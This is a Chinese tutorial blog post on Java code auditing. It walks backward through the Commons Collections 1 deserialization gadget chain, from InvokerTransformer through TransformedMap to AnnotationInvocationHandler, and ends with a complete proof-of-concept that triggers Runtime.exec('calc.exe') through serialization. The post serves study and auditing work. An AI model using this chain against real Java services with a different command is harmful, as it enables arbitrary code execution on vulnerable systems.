Java代码审计&原生反序列化&CC链跟踪分析

这篇具有很好参考价值的文章主要介绍了Java代码审计&原生反序列化&CC链跟踪分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog


在前一篇文章我分析了Commons Collections1链​​​​​​​,其中跟链的顺序是:source=>gadget=>sink,但如果站在漏洞挖掘的角度顺序是倒过来的:sink=>gadget=>source,即先找到造成命令执行的恶意类,然后通过该类倒一直倒推到可利用的反序列类。

本篇文章将按照sink=>gadget=>source的顺序,在挖洞的角度跟踪分析Commons Collections链

环境:Commons Collections 3.1 && jdk8u65

Java代码审计&原生反序列化&CC链跟踪分析,代码审计,Java,代码审计,CC链,反序列化

首先来到InvokerTransformer类,以下列出该类的构造函数和transform方法。

构造函数接收并设置三个参数:methodName、paramTypes、args

transform方法接收一个对象input,结合三个参数通过反射获取对象的类、方法,然后invoke调用执行(注意input不能为空)。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

试想若按照以下代码逻辑实例化一个invokerTransformer对象,然后调用transform方法不就相当于Runtime.getRuntime().exec("calc")弹出计算器吗?

Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

invokerTransformer.transform(r);

事实证明我们的猜想是正确的,如此一来便找到了sink执行点:InvokerTransformer#transform

由于InvokerTransformer类并不是可直接利用的反序列化类,所以还需要往前倒推,查找哪个类调用过transform方法。我们跟的是CC链,所以只需要关注Commons Collections 3.1包里的即可。

发现TransformedMap#checkSetValue方法调用过transform方法(正常情况下每个uasge都需要看)。

Java代码审计&原生反序列化&CC链跟踪分析,代码审计,Java,代码审计,CC链,反序列化

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

试想若控制valueTransformer为InvokerTransformer类对象,执行valueTransformer.transform(value)那不就相当于执行InvokerTransformer#transform方法吗?

首先观察到valueTransformer在构造方法TransformedMap中设置,但由于该构造方法是protected类型无法直接访问,所以继续找有没有其他public类型方法调用过该构造方法。

观察到decorate方法调用过该构造方法TransformedMap,由此想到可以利用decorate方法间接控制valueTransformer,即控制decorate方法的传参valueTransformer=new InvokerTransformer(),那么执行decorate方法就会触发构造方法设置valueTransformer为InvokerTransformer类对象。

此时,若执行valueTransformer.transformer() = new InvokerTransformer().transformer()。

Java代码审计&原生反序列化&CC链跟踪分析,代码审计,Java,代码审计,CC链,反序列化

大致流程:

当执行TransformedMap.decorate(map, null, new InvokerTransformer())
=>

会触发TransformedMap(map, null, new InvokerTransformer())
=>

会设置valueTransformer = new InvokerTransformer()
=>

若执行valueTransformer.transformer()
=>

等于执行new InvokerTransformer().transformer()

到这里我们已经控制了valueTransformer为InvokerTransformer类对象,但还没成功触发checkSetValue方法,而且checkSetValue方法是protected类型无法直接调用,所以还需继续往上查找哪个类调用过checkSetValue方法。

发现AbstractInputCheckedMapDecorator#setValue方法调用过checkSetValue方法。

Java代码审计&原生反序列化&CC链跟踪分析,代码审计,Java,代码审计,CC链,反序列化

public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }

同理,若想要调用TransformedMap#checkSetValue方法,需控制parent为TransformedMap类对象。

此时若执行AbstractInputCheckedMapDecorator#setValue方法,就会触发执行parent.checkSetValue(value),等于执行new TransformedMap().checkSetValue(value),然后触发valueTransformer.transform(value),由于之前又控制valueTransformer为InvokerTransformer类对象,最终同执行new InvokerTransformer().transform(value),故又和sink点联系了起来。 

大致流程:

控制parent = new TransformedMap()
=>

当执行AbstractInputCheckedMapDecorator.setValue(Object value)
=>

会触发parent.checkSetValue(value)
=>

等于执行new TransformedMap().checkSetValue(value)
=>

会触发valueTransformer.transform(value)
=>

等于执行new InvokerTransformer().transform(value)

一般情况下,当继续往上找到的类重写的readObject方法里调用了前一个类的方法时,就是gadget结束。

比如这里继续查找哪个类调用过AbstractInputCheckedMapDecorator#setValue方法,发现AnnotationInvocationHandler#readObject方法里调用过。同理,此时应该控制var5=new AbstractInputCheckedMapDecorator(),才能调用AbstractInputCheckedMapDecorator#setValue方法,于是gadget结束同时也找到了source。

Java代码审计&原生反序列化&CC链跟踪分析,代码审计,Java,代码审计,CC链,反序列化

总结:无非就是让前面调用方法的类发生更改,控制其等于后面的类,让其调用后面类的方法 。

最后附上Poc代码:

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1Poc {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类(整个Runtime执行)
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformer
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, outerMap);


        //漏洞测试
        serializableObject(o);
        unserializableObject("ser.bin");
    }


    public static void serializableObject(Object o) throws Exception {
        FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
        fileOutputStream.close();
    }

    public static void unserializableObject(String filename) throws Exception{
        FileInputStream fileInputStream = new FileInputStream(filename);
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        objectInputStream.close();
        fileInputStream.close();
    }
}

学到这部分说实话还是比较吃力的,很多东西没有嚼透, 原因还是我的开发基础有点拉跨,打算等后面再重新好好学一下这部分。如果文章有错请多多指正,谢谢各位师傅支持!文章来源地址https://www.toymoban.com/news/detail-820522.html

到了这里,关于Java代码审计&原生反序列化&CC链跟踪分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • WEB攻防-Java安全&原生反序列化&SpringBoot攻防&heapdump提取&CVE

    知识点: 1、Java安全-原生反序列化-3大类接口函数利用 2、Java安全-SpringBoot攻防-泄漏安全CVE安全 序列化是将Java对象转换成字节流的过程。而反序列化是将字节流转换成Java对象的过程,java序列化的数据一般会以标记( ac ed 00 05 )开头,base64编码的特征为 rO0AB 。 JAVA常见的序列化

    2024年02月03日
    浏览(35)
  • Fastjson 结合 jdk 原生反序列化的利用手法 ( Aliyun CTF )

    2023 Aliyun CTF ezbean是一道CTF java反序列化题目。 题目的目的是让选手通过一个java原生反序列化入口,最终达成RCE。本文对题目的几种解法做了具体的分析,主要分为预期解法和非预期解法两种思路。通过对Fastjson在反序列化的行为分析,从两个方向攻克本题。 题目的逻辑简单

    2024年02月07日
    浏览(38)
  • Java序列化和反序列化

    目录 一、序列化和反序列化 二、Java序列化演示 三、反序列化漏洞 1、含义 ​序列化就是内存中的对象写入到IO流中,保存的格式可以是二进制或者文本内容。反序列化就是IO流还原成对象。 2、用途 (1)传输网络对象 (2)保存Session 1、序列化 java.io.ObjectOutputStream代表对象

    2023年04月25日
    浏览(28)
  • 【Java 基础篇】Java序列化与反序列化详解

    在Java中,序列化和反序列化是一种将对象转换为字节流和将字节流转换为对象的机制。通过序列化,可以将对象存储到文件中、传输到网络上,或者在分布式系统中进行对象的传递。本文将详细介绍Java序列化和反序列化的原理、使用方法和常见应用场景,并提供一些示例代

    2024年02月09日
    浏览(31)
  • Java安全基础之Java序列化与反序列化

    目录 ObjectInputStream 和 ObjectOutputStream java.io.Serializable 自定义序列化和反序列化 Java 的序列化(Serialization)是指将对象转换为字节序列的过程,而反序列化(Deserialization)则是将字节序列转换回对象的过程。 序列化和反序列化通常用于在网络上传输对象或者将对象持久化到文

    2024年04月22日
    浏览(31)
  • Java序列化和反序列化机制

    在阅读 ArrayList 源码的时候,注意到,其内部的成员变量动态数组 elementData 被Java中的 transient 修饰 transient 意味着Java在序列化时会跳过该字段(不序列化该字段) 而Java在默认情况下会序列化类(实现了 Java.io.Serializable 接口的类)的所有非瞬态(未被 transient 修饰

    2024年03月15日
    浏览(40)
  • Java中序列化和反序列化解释

    在Java中,序列化(Serialization)是指将对象的状态转换为字节流的过程,以便将其保存到文件、在网络中传输或持久化到数据库中。而反序列化(Deserialization)则是将字节流转换回对象的过程,恢复对象的状态。 序列化和反序列化主要用于以下场景: 1. 对象持久化:通过序列

    2024年02月07日
    浏览(50)
  • [Java反序列化]—Shiro反序列化(一)

    IDEA搭建shiro550复现环境_普通网友的博客-CSDN博客 Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。 那么,Payload产生的过程: 命令

    2024年02月06日
    浏览(37)
  • java中的序列化和反序列化

    objectOutputStream 对象的序列化,以流的形式将对象写入文件 构造方法: objectOutputStream(OutputStream out) 传入一个字节输入流创建objectOutputStream对象 成员方法: void writeObject(object obj) 将指定的对象写入objectOutputStream 使用步骤: 创建一个类,这个类实现Serializable接口,Serializable是一

    2024年02月14日
    浏览(29)
  • Java 反序列化之 XStream 反序列化

    XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。 下面看下如何使用 XStream 进行序列化和反序列化操作的。 先定义接口类 IPerson.java 接着定义 Person 类实现前面的接口: XStream 序列化是调用  XStream.toXML()  来实

    2024年02月10日
    浏览(51)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包